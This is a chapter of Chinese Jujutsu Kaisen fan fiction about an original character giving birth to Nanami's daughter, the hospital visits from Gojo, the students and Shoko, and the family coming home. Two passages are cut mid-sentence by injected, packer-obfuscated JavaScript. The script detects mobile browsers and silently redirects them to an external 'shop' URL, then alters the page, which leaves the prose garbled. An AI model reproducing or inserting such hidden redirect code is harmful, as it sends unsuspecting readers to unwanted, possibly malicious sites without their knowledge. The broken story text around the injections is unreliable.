“悠,你醒了?!怎么样?”七海的声音从旁边传来。“还痛不痛?还有哪里不舒服?” 悠转过头,被七海一连串的提问问的发懵,只是下意识的摇头。 随后她看见七海坐在床边的椅子上,怀里抱着一个小小的襁褓。 窗外的阳光照进来,在他身上镀了一层金边,让他看起来温柔得不可思议。 “七海海……”悠开口,声音沙哑。 七海立刻放下襁褓——动作轻柔得像在放什么易碎品——起身倒了杯温水,插上吸管递到她嘴边:“慢慢喝。” 温水滋润了干涩的喉咙。 悠喝了几口,眼睛却一直盯着那个襁褓:“宝宝……” “在这里。”七海重新抱起孩子,小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17154110|196498||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心地放在悠身边,“她很好。体重三千一百克,身长四十九厘米,所有检查都正常。” 悠侧过身,看着襁褓里那张小小的脸。 宝宝睡着了,呼吸轻柔平稳,小嘴偶尔会动一下,像是在做梦。 “她好小……”悠轻声说,眼泪突然就掉下来了。 不是难过,是某种太满太满的情绪溢了出来。 七海伸手擦掉她的眼泪,手指轻柔:“医生说你是自然分娩,恢复会比较快。但还是要好好休息,至少住院三天观察。” 悠点点头,手轻轻抚摸着宝宝的脸颊。 就在这时,她感觉身体的疼痛又减轻了一些。 那些线条的修复速度比她想象中更快。 “七海海,”悠又小声说,“我们还没给宝宝起名字呢。” “我有几个备选。”七海从口袋里拿出一个小本子——悠这才发现他居然做了个命名分析表,上面列了十几个名字,每个都标注了含义、读音、笔画数和“综合评价”。 “七海海……”悠哭笑不得,“你什么时候做的这个?” “从你说是女孩的时候。”七海推了推眼镜,“考虑了很多……悠,你喜欢哪个?” 悠看着那个密密麻麻的表格,忍不住笑了:“七海海,你还记得在轻井泽的时候,你说希望女儿像谁吗?” 七海愣了一下:“像你。” “那我想用我的名字里的一个字。”悠轻声说,“‘悠’这个字,意思是长久、深远、从容。我希望她……能从容地度过一生。” 七海沉默了片刻,然后在小本子上划掉其他名字,只留下一个:“那叫‘悠夏’怎么样?夏天的悠,纪念她在夏天出生。而且‘夏’字有光明、热情的意思,中和‘悠’的沉静,寓意她既有你的从容,也有积极面对生活的勇气。” 悠夏。悠在心里默念了几遍,眼睛亮起来:“好听。” “七海悠夏。”七海念出全名,“读音流畅,笔画适中,含义积极。可以吗?” 悠用力点头,低头看着怀里的宝宝:“悠夏,七海悠夏。你喜欢这个名字吗?” 宝宝在睡梦中动了动小嘴,像是在微笑。 “七海海,”和悠夏玩了一会,她小声说,“我觉得……我好像恢复得特别快。” 七海的手顿了顿:“什么意思?” “身上的线,它们在自动修复。疼痛感也在减轻。”悠说着,试着坐起来——虽然费力,但真的做到了。 七海的眉头立马皱起来。 他按住她的肩膀,声音严肃:“躺下,悠。就算你感觉好了,也必须按照医生的要求休息。产后恢复不能马虎,有很多潜在风险——” “可是我真的觉得……” “不行。”七海打断她,语气是不容置疑的坚决,“就算悠你可以修复,但是身体不可能在产后几小时内就恢复。你还是要好好休息……” 他没说完,但悠懂了。 而且她恢复得太快,会引起怀疑。 在这个有咒术师、有诅咒师的世界里,任何异常都可能带来危险。 更重要的是,她不能暴露自己的能力。 那是他们最大的秘密。 “我明白了。”悠乖乖躺回去,“我会好好休息的。” 七海的神色缓和下来。 他坐在床边,握住她的手:“悠,我知道你想快点好起来,想照顾宝宝。但你的健康更重要。我会在这里陪着你,所有事我都会做。” 接下来的时间里,七海几乎寸步不离。 他像拆炸弹一样小心谨慎的换尿布、动作僵硬地喂奶瓶、给悠夏拍嗝的时候眉头紧皱,仿佛要夹死一只苍蝇。 每次护士来检查,都会笑着说:“夫人,您先生真是模范爸爸,什么都做得很好。” 悠躺在床上,充满笑意的看着。 她心里软成一团。 到下午,她其实已经能自己下床走动了,虽然七海坚持扶着她。 “七海海,”晚上,趁悠夏睡着后,悠小声说,“我真的没事了。你看,走路也不疼了。” 七海看着她,镜片后的眼神复杂:“你的线……还在修复吗?” “嗯。已经完全恢复了。” 七海沉默了很久,最后说:“悠,这是好事,让你不会那么痛苦。但我们对外,还是要表现得像个正常产妇。至少在医院这几天,要配合医生的安排。” “这样的能力会不会有什么其他代价,我们谁也不知道。”他握紧她的手:“等你出院回家,我找家入前辈来给你做一次全面检查。她值得信任,而且能帮我们再确定一下。” 悠点点头,靠在他肩上。 病房里很安静,只有宝宝轻柔的呼吸声。 她看着那根连接三人的金色羁绊线,是她见过最美的景象。 63. 探望 第三天下午,病房门被敲响了。 七海去开门,门外站着一大群人——五条悟打头,后面跟着顺平、熊猫、狗卷、真希,还有稍微站得靠后些的乙骨忧太。 每个人都提着东西,从果篮到玩具堆得满满当当。 “哟~我们来探望悠酱和小公主啦!”五条悟戴着眼罩,笑得灿烂。“喂喂……娜娜明你也太不厚道了,悠酱生产这么大的事,才告诉我们?!快走开,快让我们看看!!” 七海挡在门口:“声音小点,宝宝在睡觉。” “知道知道~”五条悟压低声音,但兴奋劲儿一点没减,“快让我们进去!我带了超——棒的礼物!” 七海让开路,一群人鱼贯而入。 小小的单人病房顿时显得拥挤起来。 悠靠在床头,看到这么多人,有些惊讶:“五条老师,大家……” 和他们一一打招呼,最后她的目光落在乙骨忧太身上——这孩子站在众人身后,被顺平往前拉了拉。 在乙骨身后,盘踞着一个庞大、扭曲、充满不祥气息的黑色轮廓,那是特级咒灵祈本里香。 之前七海和她提到过咒术师们看到的特级咒灵,恐怕就是她。 但在那团黑色轮廓的中心,悠看见了完全不同的景象:一个留着黑色长发、穿着白色连衣裙的小女孩,安静地站在那里,眼神温柔而悲伤地望着乙骨的背影。 两个形象重叠在一起——咒灵的狰狞外壳,与内核里那个被困住的、名为“里香”的小女孩灵魂。 更让悠注意的是连接乙骨和那个小女孩的“线”。 那不是普通的羁绊线,而是一种极其复杂、扭曲的形态:金色的,深红色,黑色的,所有这些颜色缠绕成一股粗壮而痛苦的纽带,将两人牢牢捆绑。 “悠酱!”五条悟的呼唤让她回过神。他第一个凑过来,把背后显眼的超级大盒子放在床头柜上,瞬间占据半壁江山“这是给宝宝的——意大利手工婴儿床,可以直接拼!而且我特意选了粉色的!还有这个,纯金实心长命锁,这可是来自干爹我的爱啊!” “五条,”七海在旁边冷冷地说,“医院不让放婴儿床。” “诶——那出院后送家里去!”五条悟毫不在意,又掏出一个袋子,“这是给悠酱的,顶级燕窝和补血营养品,产后恢复必备!” 悠看着那堆明显价格不菲的礼物,哭笑不得:“五条老师,真的不用这么破费……” “要的要的!”五条悟笑眯眯地说,“这可是我干女儿的诞生礼!” 悠笑着道谢。 乙骨站在人群稍远处,目光落在婴儿床上沉睡的悠夏身上,眼神温柔。 他身后的小女孩形象也探着头看宝宝,好奇又小心。 “她还不是你干女儿。”七海再次提醒。 “迟早会是嘛!”五条悟说着,转向婴儿床——七海临时租的医院用透明小床,宝宝正在里面熟睡。“让我看看让我看看……哇!好小!脸皱皱的像个小老头!” “五条老师!”悠忍不住笑了,“刚出生的宝宝都这样的,过几天就好看了。” “阿拉阿拉~小公主叫什么名字啊~” “悠夏,七海悠夏。”悠好笑的看着七海紧绷的状态,感觉下一秒就要给五条悟从房间扔出去。 “悠──夏~悠夏酱~叫爸──爸~” “五条悟!” 顺平也凑过来,眼睛亮晶晶的:“小姨,我可以看看悠夏吗?” “当然可以,不过要小声点哦。” 顺平、熊猫、狗卷和真希围在婴儿床边,四个脑袋挤在一起。 乙骨站在稍远的地方,有些局促不安。 “忧太,不过来吗?”真希回头叫他。 乙骨犹豫了一下,慢慢走过来。 他看着婴儿床里的小生命,眼神变得柔软:“她……好小。” “新生儿都这样。”熊猫小声说,“不过她头发挺多的,看,黑黑软软的。” 狗卷眼睛亮晶晶的:“大芥!”超可爱。 乙骨看着宝宝,嘴角不自觉地扬起一个很浅的弧度。 “哇!忧太,不过来抱抱吗?”五条悟突然说。 他把怀里的宝宝放下,那边顺平和熊猫他们已经在七海犀利视线和紧张的指导下轮流抱起宝宝了。 乙骨吓了一跳:“我、我可以吗?但是里香她……” “没关系的~”五条悟拍拍他的肩,“她也很好奇吧?” 乙骨犹豫地走上前。 七海小心地把悠夏递过去,同时指导:“托住头,对,就这样。” 乙骨僵硬地抱着宝宝,动作生疏却极其轻柔。 悠夏在他怀里动了动,不但没哭,反而发出细小的“咕咕”声,还在睡着。 “悠夏的睡眠质量真让人羡慕啊。”悠好笑的看着大家。 “她在笑……”乙骨喃喃道,脸上浮现出真心的、干净的笑容。 那一刻,悠看见他身后的小女孩形象也笑了,伸出手似乎想触摸宝宝,但在即将碰触时又怯怯地收了回去。 那根连接他们的扭曲线条,在这一刻似乎短暂地泛起了一丝纯粹的金色。 就在这时,五条悟突然转向悠,眨了眨眼:“悠酱,你觉得忧太怎么样?” 问题来得突然。 悠愣了一下,看到五条悟墨镜后那双苍蓝眼睛里闪烁的、了然的光。 他也许不知道细节,但他猜到她在看见什么。 悠斟酌着词句,温和地说:“乙骨君是个很温柔的人……就像有时候外表可能让人不敢接近,但我能感觉到,乙骨君的和他身边的人都是很重感情的人,会让其他人很想很保护他。” 乙骨身体微僵,惊讶地看向悠。 五条悟咧嘴笑了:“看吧忧太,连普通人都能感觉到大家对你的心意呢~”他刻意加重了“普通人”三个字,眼神与悠短暂交汇。 五条悟在提醒她。 她表示理解。没有说出自己看到的完整真相,只是表达了模糊的字眼。 “谢谢悠姐……”乙骨小声说,看着怀里的婴儿,“而且宝宝很温暖。” “生命就是这样。”熊猫在旁边说,“脆弱,但又坚强。” 探望的气氛重新活跃起来。 一年级生们围在婴儿床边,轮番抱悠夏。 乙骨也慢慢放松,虽然仍有些拘谨,但脸上的笑容真实了许多。 这时,真希随口问道:“悠姐,顺平平时没给你添麻烦吧?” “欸?完全没有呢。”悠心思一转,突然起了点“坏心思”。她故作好奇地问:“对了,真希你们学校都学什么呀?顺平说课程很特别呢,但具体问他,他又说得含糊糊的。” 这个问题像扔进平静水面的石子。 几个一年级生瞬间手忙脚乱。 “呃……那个……”熊猫抓抓头,毛茸茸的脸上居然能看出慌张,“我们学……学体育!对,体育训练特别多!还有……野外求生!” 狗卷棘飞快地掏出随身本子,在上面写:【还有文化课!语文!数学!英语!】并举起来给悠看,用力点头。 真希翻了个白眼,但接话还算流畅:“还有社会实践。比如今天,就是老师带我们学习……探视礼仪和母婴关怀。”她说得一本正经,但悠看见她耳朵尖有点红。 乙骨小声补充:“还、还有心理辅导课……” 顺平已经急得额头冒汗:“对、对!我们学校很注重全面发展的!” 悠忍着笑,继续问:“那你们上课时间好自由呀,可以随意出来吗?” “今天是特别实践日!”熊猫立刻说,“老师特批的!” “对对对!特批的!”其他人连忙附和。 “阿啦,不过这位熊猫君看起来……” “啊哈哈,在下只是爱穿毛衣!” “熊猫他就是现在年轻人里的行走的潮流。” “鲑鱼鲑鱼。”没错没错! 悠看着这群孩子慌慌张张编理由的样子,心里又好笑又温暖。 她知道他们在拼命掩饰咒术师的身份,以为她只是个普通人。 而五条悟在一旁憋笑憋得肩膀直抖,显然很享受这个场面。 “原来如此。”悠一脸“我懂了”的真诚表情,“你们学校真开明,课程设置也好有趣。” “是、是啊!”熊猫松了口气,擦了擦额头的汗。 七海在旁边无奈地叹了口气,转身去给大家倒茶。 悠看见他身上透出淡淡的、好笑的无奈。 临走时,五条悟又凑到婴儿床边,对着熟睡的宝宝小声说:“快快长大哦,干爹我可是等你叫我呢!” 七海把他推出病房:“你可以走了。” “切,小气!”五条悟笑着,“那出院的时候告诉我,我来接你们!” “不用。” “要的要的!就这么说定了!” 一群人吵吵闹闹地离开了。 病房重新恢复安静。 悠靠在床头,看着婴儿床里的女儿,又看看正在收拾礼物的七海,轻声说:“大家都很温柔呢。” “嗯。”七海把五条悟送的金锁收进盒子,“虽然吵闹,但心意是真的。” “乙骨君看起来……比我想象中好很多。” “五条把他保护得很好。”七海说,“而且顺平他们……确实改变了他。” 学生们离开后不久,房门又被敲响了。 这次来的是家入硝子。 她依然穿着白大褂,黑眼圈深重,手里提着医药箱。 “恭喜。”她对悠点点头,然后看向七海,“我来做产后复查。五条那家伙硬把我拽出来的。” 七海侧身让她进来。 硝子仔细洗手后,先检查了悠夏:“很健康。发育指标优秀。” 然后她才转向悠:“躺下,我看看你的情况。” 检查过程专业、高效、毫不拖泥带水。 硝子询问了许多细节,做了基础检查,最后收起听诊器:“恢复得……异常地好。”她推了推眼镜,看向悠的眼神锐利,“比正常产后恢复速度快了至少三倍。” 悠心里一紧。 但硝子没有追问,只是说:“这是好事。但出院后还是要按常规复查,避免留下隐患。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17154111|196498||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她从医药箱里拿出一张名片,“这是我的私人联系方式。有任何问题——无论是医学问题还是……其他你觉得需要咨询的问题——都可以联系我。用五条给的那个加密手机。” 悠接过名片,真诚地道谢。 她看着硝子,几根特别的“束缚线”和“监视线”从遥远的方向延伸过来,捆绑在她身上。 “家入医生,”悠轻声说,“您最近很累吧?黑眼圈很重。” 硝子愣了一下,苦笑:“高专的校医不好当。那些问题儿童,一个个都不让人省心。” “那也要注意休息。”悠认真地说,“您身上的……气色,看起来有些透支了。”她斟酌着用词,没有直接说“线”。 硝子深深看了她一眼,那眼神里有探究,也有某种疲惫的理解:“我会注意的。谢谢关心。” 她收拾东西准备离开,在门口又停顿了一下,回头说:“七海太太,能看见别人看不见的东西……是一种天赋,也是一种负担。保护好自己。” 说完,她离开了。 悠靠在床头,回味着硝子最后那句话。 “家入前辈是可靠的。”七海坐回她身边,握住她的手,“不用担心。” 悠点点头,靠在他肩上。 病房重归安静,婴儿床里是熟睡的悠夏,身边是丈夫沉稳的侧脸。 然后她想起了乙骨忧太和那个名为里香的小女孩,想起了他们之间扭曲的束缚。 “七海海,”她轻声说,“我今天看到了乙骨君身上……很悲伤的东西。” “嗯?” “里香……那个咒灵,本质上是一个小女孩的灵魂。她被爱困住了,但那爱太过沉重,变成了诅咒。”悠慢慢地说,整理着思绪,“乙骨君爱她,她也爱乙骨君,但这份爱因为死亡和执念,扭曲成了束缚。” 七海安静地听着。 “我在想……”悠的声音很轻,“如果他能看到真相,也许能找到解开那个诅咒的方法。” 七海沉思了很久,最后说:“我会跟五条谈谈。他有办法在不暴露你的情况下,引导乙骨思考这些问题。” “谢谢你。” “不用谢。”七海低头,吻了吻她的额头,“你想帮助他人,这是你的温柔。而我想守护你的这份温柔。” 出院那天是八月五日,东京前不久刚下了场小雨,空气清新凉爽。 七海办完所有手续,扶着悠坐上轮椅——医院规定,产妇出院必须坐轮椅。 悠夏被护士抱出来,裹在柔软的襁褓里,只露出一张小脸。 五条悟果然来了,开着一辆宽敞的SUV,说是“为了干女儿特意借的”。 顺平也一起来了,帮忙拿行李。 回家的路上,悠一直抱着宝宝,七海坐在旁边,手虚扶着她的手臂。 五条悟从后视镜里看着,笑得一脸欣慰。 宝宝在闭着眼睛动了动小嘴,对这个束缚她的外套非常不满。 “悠夏好乖啊!”五条悟立刻说,“完全是让妈妈爸爸省心的小棉袄啊!小悠夏,要快快长大哦!” 回到家,已经焕然一新。 七海趁悠住院期间,把婴儿房彻底布置好了——原木色的婴儿床、柔软的地毯、墙上贴了星星月亮的夜光贴纸,窗边挂着五条悟送的那个纯金长命锁。 虽然嘴上说着“太招摇”,七海最后还是挂上了。 顺平帮忙把行李搬进屋,看着温馨的婴儿房,开心地说:“妹妹一定会很幸福。” “你也会的。”悠笑着说,“等你将来有了自己的孩子,姨夫也会帮你布置房间。” 顺平脸红了:“我、我还早呢……” 五条悟在公寓里转了一圈,最后严肃地对七海说:“安全措施要加强。虽然你现在只接低级任务,但难保不会有麻烦找上门。我在楼下布置了结界,有异常我会立刻知道。” 七海点头:“谢谢。” “应该的嘛!”五条悟又笑起来,“那我走啦,娜娜明,不打扰你们一家三口团聚。有事随时联系!” 送走五条悟和顺平,公寓里终于完全安静下来。 悠夏在婴儿床上睡着了。 悠靠在床上,七海给她盖上毯子,然后在她身边坐下。 “七海海,”悠靠在他肩上,“我们当爸爸妈妈了。” “嗯。” “我好幸福。” “我也是。” 七海搂住她,下巴轻轻抵在她发顶。 他的手掌温暖,呼吸平稳,心跳声在安静的房间里清晰可闻。 悠闭上眼睛,感受着这一刻的完整——她,七海,悠夏。 一个家,一个未来。 然后她想起了硝子医生的话,想起了乙骨温柔的眼神,想起了五条悟夸张但真挚的笑容,想起了顺平亮晶晶的眼睛。 这个世界有咒灵,有诅咒,有不公和残酷。 但也有新生命,有爱,有希望。 而她会和七海一起,守护好他们的悠夏,守护好这份来之不易的幸福。 “好高兴,总是忍不住笑出来呢。” “……我也是,悠。”